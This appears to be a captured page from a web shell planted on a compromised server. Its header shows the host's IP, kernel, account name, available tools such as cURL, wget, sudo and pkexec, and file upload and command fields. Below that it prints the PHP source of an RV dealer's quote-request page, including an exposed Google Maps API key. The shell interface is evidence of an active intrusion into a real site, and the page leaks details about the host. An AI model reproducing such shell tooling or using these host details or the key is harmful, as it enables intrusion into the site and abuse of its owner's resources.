SCDNG PELER
Server IP : 162.241.126.129  /  Your IP : 3.129.22.34
Web Server : Apache
System : Linux 162-241-126-129.cprapid.com 4.18.0-477.27.2.el8_8.x86_64 #1 SMP Fri Sep 29 08:21:01 EDT 2023 x86_64
User : rvway5nu4 ( 1018)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/rvway5nu4/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/rvway5nu4/public_html//quote.php
<?php
include("./config/data.config.php"); 
include("$LIB_DIR/functions.lib.php");
include("$LIB_DIR/db.php");
include("$LIB_DIR/db/mysqli.php"); 
include("$LIB_DIR/data.constant.php");
include("$LIB_DIR/sitemsgs.php");
include("$LIB_DIR/class.paging.php");
include("$LIB_DIR/functions.mailer.php");
$db	=	new Db( $DB_HOST, $DB_USERNAME, $DB_PASSWORD, $DB_NAME, $DB_REPORT_ERROR, $DB_PERSISTENT_CONN);

$sql = "SELECT * FROM tbl_setting  WHERE i_settingID = '1'  ";  
$result=$db->query($sql);
if($result->num_rows) {	 
	$row  = $result->row;
	$txt_sale_your_rv = $row['txt_sale_your_rv'];
	$txt_rv_product_page = $row['txt_rv_product_page'];
	$v_phone_number   = $row['v_phone_number'];
	$quote_page_variable1   = $row['quote_page_variable1'];
	$quote_page_variable2   = $row['quote_page_variable2'];
	$quote_page_variable3   = $row['quote_page_variable3'];
	$quote_page_variable4   = $row['quote_page_variable4'];
	$v_address   = $row['v_address'];
}

//$database = new DB();
$error='';
$msg='';

if( !isset( $_SESSION['SESS_id'] ) && (  $_SESSION['SESS_type'] == 'AD' )  ){  		
		$_SESSION['msg'] = '<div class="alert alert-warning" >There is no login.</div>';
		header('Location: '.SUB_DIR_PROJECT.'/index.php');
		exit;
}

if( isset( $_REQUEST['submitQuote']) &&  $_REQUEST['submitQuote'] == 'yes' ){
		
		$PROMPT ='<div class="alert alert-success alert-dismissable">
								<button type="button" class="close" data-dismiss="alert" aria-hidden="true">X</button>
								<strong><i class="fa fa-check-circle"></i> Success :</strong>Thanks to your quote, We will contact you soon.
		</div>';

		$_SESSION['msg'] = $PROMPT; 
		header('Location: '.SUB_DIR_PROJECT.'/quote.php');
		exit;


}

?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8"/>
    <title>RV Way</title>
    <!-- mobile responsive meta -->
    <meta name="viewport" content="width=device-width, initial-scale=1">
	<?php require_once($ROOT_DIR.'/page_content/us/common/header_common_link1.php'); ?>
	<?php //require_once($ROOT_DIR.'/page_content/us/common/header_common_link2.php'); ?>
	<?php require_once($ROOT_DIR.'/page_content/us/common/header_common_link3.php'); ?>
	<?php require_once($ROOT_DIR.'/page_content/us/common/header_common_link4.php'); ?>
</head>
<body>
	
	<!-- <div class="preloader"></div> -->
    <div class="page-wrapper"  >

		<!-- space for preloader -->
		<header class="site-header header-one" >
			<div class="top-header">
				<?php  require_once( $ROOT_DIR.'/page_content/us/common/header_top.php'); ?>
			</div><!-- /.top-header -->
			<nav class="navbar navbar-expand-lg navbar-light header-navigation stricky header-style-one" >
				<?php require_once($ROOT_DIR.'/page_content/us/common/header_nav.php'); ?>
            </nav>
		</header><!-- /.site-header -->
		
		<?php // require_once($ROOT_DIR.'/page_content/us/home/minimal-bootstrap-carousel.php'); ?>
        
        <div class="contact">
           
            <div class="container">
                <div class="row justify-content-end">
                    
                </div><!-- /.row -->
            </div><!-- /.container -->
            <div class="contact-form f1">
                <div class="container">
				<!--  SSSSSSSSSSS-->
					<div class="quote-area">
						<div class="container-fluid">
							<div class="row no-gutters">
								<div class="col-xl-4 bg1 d-flex">
									<div class="content-box my-auto">
										<div class="text-white text-center">
											<h2 class="f1"><?php echo $quote_page_variable1; ?></h2>
											<div class="call-us text-center bg-white">
												<p class="fw-7 c1 text-uppercase">call us today</p>
												<h1 class="fw-3 c3"><a href="tel:<?php echo $v_phone_number; ?>"><?php echo $v_phone_number; ?></a></h1>
											</div><!-- /.call-us -->
										</div>
									</div><!-- /.content-box -->
								</div><!-- /.col-lg-4 -->
								<div class="col-xl-8 quote-form-wrapper">
										
									 <div class="row justify-content-xl-end justify-content-center">
										 <div class="col-xl-11 pl-30 pr-0">
										<?php 
										echo '<BR/>';
										if( isset($_SESSION['msg'])){
											echo $_SESSION['msg'];
											unset($_SESSION['msg']);
										
										}
										?>
											 <div class="quote-form">
												<div class="thm-header text-center">
													<p class="c1 pb-10"><?php echo $quote_page_variable2; ?></p>
													<h1 class="c3"><?php echo $quote_page_variable3; ?></h1>
												</div><!-- /.thm-header -->

												<form method="post" class="clearfix text-center">
													<div class="quote-block float-left">
														<input type="text" placeholder="Your Name">
													</div><!-- /.quote-block -->
													<div class="quote-block float-right">
														<input type="text" placeholder="Email Address">
													</div><!-- /.quote-block -->
													<div class="quote-block float-left">
														<input type="text" placeholder="Phone Number">
													</div><!-- /.quote-block -->
													<div class="quote-block float-right">
														<input type="text" placeholder="Select Year">
													</div><!-- /.quote-block -->
													<div class="quote-block float-left">
														<input type="text" placeholder="Select Model">
													</div><!-- /.quote-block -->
													<div class="quote-block float-right">
														<input type="radio" class="d-none" id="repair" name="caravan">
														<label for="repair">Repair</label>
														<input type="radio" class="d-none" id="service" name="caravan">
														<label for="service">Service</label>
													</div><!-- /.quote-block -->
													<div class="clr"></div><!-- /.clr -->
													<textarea placeholder="Tell us about the service and/or repair you require?"></textarea>
													<input type="hidden" name="submitQuote" value="yes"  >
													<button type="submit"><?php echo $quote_page_variable4; ?></button>
												</form>
											</div><!-- /.quote-form -->
										 </div><!-- /.col-11 -->
									 </div><!-- /.row -->
								</div><!-- /.col-lg-8 -->
							</div><!-- /.row -->
						</div><!-- /.container-fluid -->
					</div>
				<!--  SSSSSSSSSS-->
                </div><!-- /.container -->
            </div><!-- /.contact-form -->
        </div><!-- /.blog blog-1 -->
    </div><!-- /.page-wrapper -->


	<footer class="crop">
		<?php  require_once($ROOT_DIR.'/page_content/us/common/footer_middle.php'); ?>
		<?php require_once($ROOT_DIR.'/page_content/us/common/footer_bottom.php'); ?>
	</footer>
    <a href="#" data-target="html" class="scroll-to-target scroll-to-top"><i class="fa fa-long-arrow-up"></i></a>
    <!-- /.scroll-to-top -->
	<?php require_once($ROOT_DIR.'/page_content/us/common/footer_js.php'); ?>
	<script src="https://maps.googleapis.com/maps/api/js?key=AIzaSyBurXgYMavDEzEDzGs8Pq-TZVamhF2aZoE"></script>
	<script src="<?php echo $SITE_URL; ?>/js/gmaps.js"></script>
	<script src="<?php echo $SITE_URL; ?>/js/map-helper.js"></script>

	<script>
		$("#vaddressmap").on('click', function(){
				location.href = 'contact.php';
				
				//var viewcontactriceAjaxRESULT = document.getElementById("viewcontact");
				//viewcontactriceAjaxRESULT.scrollIntoView();

		});
	</script>

    </body>
</html>

Anon7 - 2022
SCDN GOK